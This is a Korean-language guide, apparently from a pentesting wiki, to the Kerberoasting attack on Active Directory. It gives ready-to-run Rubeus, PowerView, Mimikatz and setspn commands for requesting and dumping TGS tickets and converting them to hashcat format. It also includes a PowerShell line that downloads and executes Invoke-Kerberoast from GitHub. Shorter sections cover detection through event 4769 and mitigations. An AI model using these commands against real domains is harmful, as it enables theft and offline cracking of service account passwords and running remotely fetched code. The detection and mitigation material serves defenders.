Kerberoasting은 **Active Directory (AD)**에서 사용자 계정으로 운영되는 서비스와 관련된 TGS 티켓의 획득에 중점을 둡니다. 이 티켓의 암호화는 사용자 비밀번호에서 유래한 키를 사용하여 이루어지며, 이는 오프라인 자격 증명 크래킹의 가능성을 허용합니다. 서비스로서 사용자 계정을 사용하는 것은 비어 있지 않은 "ServicePrincipalName" 속성으로 표시됩니다.
Kerberoasting을 실행하기 위해서는 TGS 티켓을 요청할 수 있는 도메인 계정이 필수적이지만, 이 과정은 특별한 권한을 요구하지 않으므로 유효한 도메인 자격 증명을 가진 누구나 접근할 수 있습니다.
주요 사항:
Kerberoasting은 AD 내의 사용자 계정 서비스에 대한 TGS 티켓을 목표로 합니다.
사용자 비밀번호에서 유래한 키로 암호화된 티켓은 오프라인에서 크랙될 수 있습니다.
서비스는 null이 아닌 ServicePrincipalName으로 식별됩니다.
특별한 권한이 필요하지 않으며, 단지 유효한 도메인 자격 증명만 필요합니다.
공격
Kerberoasting 도구는 공격을 수행하고 TGS-REQ 요청을 시작할 때 일반적으로 **RC4 암호화**를 요청합니다. 이는 RC4가더 약하고 Hashcat과 같은 도구를 사용하여 오프라인에서 크랙하기 더 쉽기 때문입니다.
RC4 (유형 23) 해시는 **$krb5tgs$23$***로 시작하며, AES-256(유형 18)은 **$krb5tgs$18$***로 시작합니다.`
# Get Kerberoastable userssetspn.exe-Q */*#This is a built-in binary. Focus on user accountsGet-NetUser-SPN | select serviceprincipalname #Powerview.\Rubeus.exe kerberoast /stats
기법 1: TGS 요청 및 메모리에서 덤프하기
#Get TGS in memory from a single userAdd-Type-AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memoryklist# Extract them from memoryInvoke-Mimikatz-Command '"kerberos::list /export"'#Export tickets to current folder# Transform kirbi ticket to johnpython2.7 kirbi2john.py sqldev.kirbi# Transform john to hashcatsed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
기법 2: 자동 도구
# Powerview: Get Kerberoast hash of a userRequest-SPNTicket-SPN"<SPN>"-FormatHashcat#Using PowerView Ex: MSSQLSvc/mgmt.domain.local# Powerview: Get all Kerberoast hashesGet-DomainUser*-SPN|Get-DomainSPNTicket-FormatHashcat|Export-Csv.\kerberoast.csv-NoTypeInformation# Rubeus.\Rubeus.exekerberoast/outfile:hashes.kerberoast.\Rubeus.exekerberoast/user:svc_mssql/outfile:hashes.kerberoast#Specific user.\Rubeus.exekerberoast/ldapfilter:'admincount=1'/nowrap#Get of admins# Invoke-Kerberoastiex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast-OutputFormathashcat|%{ $_.Hash}|Out-File-EncodingASCIIhashes.kerberoast
TGS가 요청될 때, Windows 이벤트 4769 - Kerberos 서비스 티켓이 요청되었습니다가 생성됩니다.
Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 이는 로컬 시간 때문이며, 호스트를 DC와 동기화해야 합니다. 몇 가지 옵션이 있습니다:
ntpdate <IP of DC> - Ubuntu 16.04부터 사용 중단
rdate -n <IP of DC>
Mitigation
Kerberoasting은 exploitable할 경우 높은 수준의 은밀함으로 수행될 수 있습니다. 이 활동을 감지하기 위해서는 Security Event ID 4769에 주의를 기울여야 하며, 이는 Kerberos 티켓이 요청되었음을 나타냅니다. 그러나 이 이벤트의 빈도가 높기 때문에 의심스러운 활동을 분리하기 위해 특정 필터를 적용해야 합니다:
서비스 이름은 krbtgt가 아니어야 하며, 이는 정상 요청입니다.
**$**로 끝나는 서비스 이름은 서비스에 사용되는 머신 계정을 포함하지 않도록 제외해야 합니다.
머신에서 오는 요청은 machine@domain 형식의 계정 이름을 제외하여 필터링해야 합니다.
성공적인 티켓 요청만 고려해야 하며, 실패 코드 **'0x0'**로 식별됩니다.
가장 중요하게, 티켓 암호화 유형은 Kerberoasting 공격에 자주 사용되는 0x17이어야 합니다.
관리형 서비스 계정을 활용하여 자동 비밀번호 변경 및 위임된 서비스 주체 이름(SPN) 관리와 같은 이점을 제공하여 이러한 공격에 대한 보안을 강화합니다.
이러한 조치를 구현함으로써 조직은 Kerberoasting과 관련된 위험을 상당히 줄일 수 있습니다.
도메인 계정 없이 Kerberoast
2022년 9월, Charlie Clark라는 연구자가 자신의 플랫폼 exploit.ph를 통해 시스템을 악용하는 새로운 방법을 공개했습니다. 이 방법은 KRB_AS_REQ 요청을 통해 **서비스 티켓(ST)**를 획득할 수 있게 해주며, 놀랍게도 어떤 Active Directory 계정에 대한 제어도 필요하지 않습니다. 본질적으로, 주체가 사전 인증을 요구하지 않도록 설정된 경우—사이버 보안 영역에서 AS-REP Roasting 공격으로 알려진 시나리오와 유사한 경우—이 특성을 활용하여 요청 프로세스를 조작할 수 있습니다. 구체적으로, 요청 본문 내의 sname 속성을 변경함으로써 시스템이 표준 암호화된 티켓 부여 티켓(TGT) 대신 ST를 발급하도록 속일 수 있습니다.